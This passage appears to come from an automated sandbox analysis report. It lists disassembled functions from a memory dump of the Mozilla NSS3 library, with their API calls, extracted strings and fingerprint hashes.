Strings

Aborting, xrefs: 6C760EB3
Assertion failure: %s, at %s:%d, xrefs: 6C760ED9, 6C760EE5, 6C760F06, 6C760F0B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 35ec7e05b92d6279d58eb15832c97f75ff31824f62fce96e2a762bc5e4bc6ef4
Instruction ID: 067482d12ba6637cb6d14ca54963ac54f3f92eb7a25781c4b4bfb7c1c1c6bd75
Opcode Fuzzy Hash: 35ec7e05b92d6279d58eb15832c97f75ff31824f62fce96e2a762bc5e4bc6ef4
Instruction Fuzzy Hash: 52F0AFB59002147BEB003BA1AC4EC9F3E2DDF82266F044034FD0956A02DA36E91496B6

Function 6C6C4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C6C4DCB

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C6C4DE1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C6C4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6C4E59

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C78300C,00000000), ref: 6C6C4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C6C4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C6C4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C521A

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: b8f62f1b4c5336cd0e0a1e61c7dda2e004e718cdcfa28ab69f74114934b92c98
Instruction ID: e0e16157fa520ecd96ba953d81e385f55c060dd23c6a341fb9fac20bfd61f9dd
Opcode Fuzzy Hash: b8f62f1b4c5336cd0e0a1e61c7dda2e004e718cdcfa28ab69f74114934b92c98
Instruction Fuzzy Hash: 3DF1AE71F00209CBDB04CF54D8407AEB7B2FF89358F254129D915AB781EB75E982CB96

Function 6C654FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C65502A
PR_NewLock.NSS3(00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C655034
PL_NewHashTable.NSS3(00000000,6C6AFE80,6C6AFD30,6C6FC350,00000000,00000000,00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C655055
PL_NewHashTable.NSS3(00000000,6C6AFE80,6C6AFD30,6C6FC350,00000000,00000000,?,00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C65506D

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 657b7862050c67390604c55c5e761525ef831130b41578b44c200cb070fcf3ba
Instruction ID: ee6e71a34298829745ec6e91d28c914b236e885fa2d0bb1f24da0190ea055af9
Opcode Fuzzy Hash: 657b7862050c67390604c55c5e761525ef831130b41578b44c200cb070fcf3ba
Instruction Fuzzy Hash: F331D0B1B03214ABEF109EA58C4CF4B3AB8EB13388F754135EA0993A40D3759815CBED

Function 6C5F2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C5F2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C5F3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5F30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F3178

Strings

database corruption, xrefs: 6C5F316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F3022, 6C5F3156, 6C5F3162, 6C5F318A, 6C5F3196, 6C5F31A2, 6C5F31AE, 6C5F31BA, 6C5F31C6
%s at line %d of [%.10s], xrefs: 6C5F3171

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: f209f4f267df034bb0c6e3f1f2d3620019c51563013d68106f2847a441859bb6
Instruction ID: d1b011660477391cc7a9f5b0f0bbebeb8affa978236d4a80e2e58842c69b1bfd
Opcode Fuzzy Hash: f209f4f267df034bb0c6e3f1f2d3620019c51563013d68106f2847a441859bb6
Instruction Fuzzy Hash: 7CB18EB0E052199BEB08CF9DCC85AEEB7B1BF48304F14442AE855B7B41D7749942CFA5

Function 6C642D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C642D69

Strings

vl, xrefs: 6C642DD0
@vl, xrefs: 6C642E24
winSeekFile, xrefs: 6C642E9C
winTruncate2, xrefs: 6C642EF8
winUnmapfile2, xrefs: 6C642F7F
winTruncate1, xrefs: 6C642EBE
winUnmapfile1, xrefs: 6C642F55
Pvl, xrefs: 6C642E74, 6C642EC5, 6C642F32, 6C642F5C

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __allrem
String ID: @vl$Pvl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$vl
API String ID: 2933888876-684076108
Opcode ID: 17f7980f34df5fe855fe4c4724e94b77a5d109bdf74fb81ff03301fe246680fd
Instruction ID: 80ab5f505efdc68576e666db2f6006c06c34b1435f198a07b7743e7e67104344
Opcode Fuzzy Hash: 17f7980f34df5fe855fe4c4724e94b77a5d109bdf74fb81ff03301fe246680fd
Instruction Fuzzy Hash: CA61AE71A002099FDB04CF68DC98AAA7BB1FF49314F20C139E915DB780EB31AD16CB94

Function 6C6C7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C6C7FB2

Part of subcall function 6C64BA40: TlsGetValue.KERNEL32 ref: 6C64BA51
Part of subcall function 6C64BA40: TlsGetValue.KERNEL32 ref: 6C64BA6B
Part of subcall function 6C64BA40: EnterCriticalSection.KERNEL32 ref: 6C64BA83
Part of subcall function 6C64BA40: TlsGetValue.KERNEL32 ref: 6C64BAA1
Part of subcall function 6C64BA40: _PR_MD_UNLOCK.NSS3 ref: 6C64BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C6C7FD4

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C6C9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C6C9466

PR_ExitMonitor.NSS3(?), ref: 6C6C801B
PR_EnterMonitor.NSS3(?), ref: 6C6C8034
TlsGetValue.KERNEL32 ref: 6C6C80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6C80C0
PR_ExitMonitor.NSS3(?), ref: 6C6C811C
PR_ExitMonitor.NSS3(?), ref: 6C6C8134

Strings

), xrefs: 6C6C80DB

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 14a6dde32ba494b548dab941bcad77118a5c59aca526259f625f2a448708f61a
Instruction ID: 218d4211d2806e0fdeb91b600e32244ead8b7be79a6ea467aff5cc16473bec5b
Opcode Fuzzy Hash: 14a6dde32ba494b548dab941bcad77118a5c59aca526259f625f2a448708f61a
Instruction Fuzzy Hash: 03511071B047059AE7209F35DC04BEB77F0EF5A30CF08452AD95942A62EB31A909C69F

Function 6C66FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C66FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C66FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C66FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C66FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C66FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C66FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66FD84

Strings

:, xrefs: 6C66FD78

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 8695da660f851be156a88b45b8b83a1e4dbb0741b0341d369457b6ea31133a53
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 2331B1B69002159BEB008AA6DD097AFB7E8EF45358F150134DD14A7F00E772E918C7EB

Function 6C650F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C650F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C650F84

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C66F59B,6C77890C,?), ref: 6C650FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C650FC1

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C650FDB
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C650FEF
PL_FreeArenaPool.NSS3(?), ref: 6C651001
PL_FinishArenaPool.NSS3(?), ref: 6C651009

Strings

security, xrefs: 6C650F5C

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: a433b45c742e488d2a6df581c2e326a8701be74dd1531833b9f5cb554e98013b
Instruction ID: 2f33a5cedb1597c5d48c7ea9df9e61b681385f2f1f7db252b210df549799a561
Opcode Fuzzy Hash: a433b45c742e488d2a6df581c2e326a8701be74dd1531833b9f5cb554e98013b
Instruction Fuzzy Hash: 3B21F7B1904204ABE7109F25DD40EABB7B4EF4525CF148518FC1897601F731D965CBA6

Function 6C656DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C657D8F,6C657D8F,?,?), ref: 6C656DC8

Part of subcall function 6C6AFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C6AFE08
Part of subcall function 6C6AFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C6AFE1D
Part of subcall function 6C6AFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C6AFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C657D8F,?,?), ref: 6C656DD5

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FA0,00000000,?,?,?,?,6C657D8F,?,?), ref: 6C656DF7

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C656E35

Part of subcall function 6C6AFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C6AFE29
Part of subcall function 6C6AFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C6AFE3D
Part of subcall function 6C6AFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C6AFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C656E4C

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FE0,00000000), ref: 6C656E82

Part of subcall function 6C656AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C65B21D,00000000,00000000,6C65B219,?,6C656BFB,00000000,?,00000000,00000000,?,?,?,6C65B21D), ref: 6C656B01
Part of subcall function 6C656AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C656B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C656F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C656F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FE0,00000000), ref: 6C656F6B
PR_SetError.NSS3(FFFFE005,00000000,6C657D8F,?,?), ref: 6C656FE1

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 559510ebaea87afb963f465e8f7bc70f1fd3d7dcc70dc9d207186dbce87f4748
Instruction ID: 954080093538478ea8aa8c816fb3a002fcd3cdbe785f486965df41281d5e056a
Opcode Fuzzy Hash: 559510ebaea87afb963f465e8f7bc70f1fd3d7dcc70dc9d207186dbce87f4748
Instruction Fuzzy Hash: D971C471E102469FEB00CF55CD40BAABBA5FF95308F654229E808D7B11F731EAA5CB94

Function 6C690FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C691057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C691085
PK11_GetAllTokens.NSS3 ref: 6C6910B1
free.MOZGLUE(?), ref: 6C691107
PR_SetError.NSS3(00000000,00000000), ref: 6C691172
free.MOZGLUE(?), ref: 6C691182
free.MOZGLUE(?), ref: 6C6911A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6911C5

Part of subcall function 6C6952C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001), ref: 6C6952DF
Part of subcall function 6C6952C0: EnterCriticalSection.KERNEL32(?), ref: 6C6952F3
Part of subcall function 6C6952C0: PR_Unlock.NSS3(?), ref: 6C695358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6911D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6911F3

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 1bc08763ea044f039ee64c84b7db9da5741b7d54031a55be5b23d1de1edf8f9c
Instruction ID: d3ab3c2114e30ecdde700b60d2a5752555544179803c2334b1a50a5d0e0518d9
Opcode Fuzzy Hash: 1bc08763ea044f039ee64c84b7db9da5741b7d54031a55be5b23d1de1edf8f9c
Instruction Fuzzy Hash: D061B8B0E043469BEB00DFA4DC45BAEB7B9BF05348F244168EC19AB741EB31D944CB59

Function 6C69ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEF1
free.MOZGLUE(6C67CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C67CDBB,?), ref: 6C69AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AF30

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 7d070ac6818285caa09de712b2d8941891f45d729627f49e504059afdae77fe9
Instruction ID: fad65b32663147227c57ded8a907e7b1eb6ab56e4576f81340de2afdef39f978
Opcode Fuzzy Hash: 7d070ac6818285caa09de712b2d8941891f45d729627f49e504059afdae77fe9
Instruction Fuzzy Hash: 57517CB1E00602AFDB019F29D884B6AB7F4BF09318F144664E81997E12E731E865DBD9

Function 6C674CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C67AB7F,?,00000000,?), ref: 6C674CB4
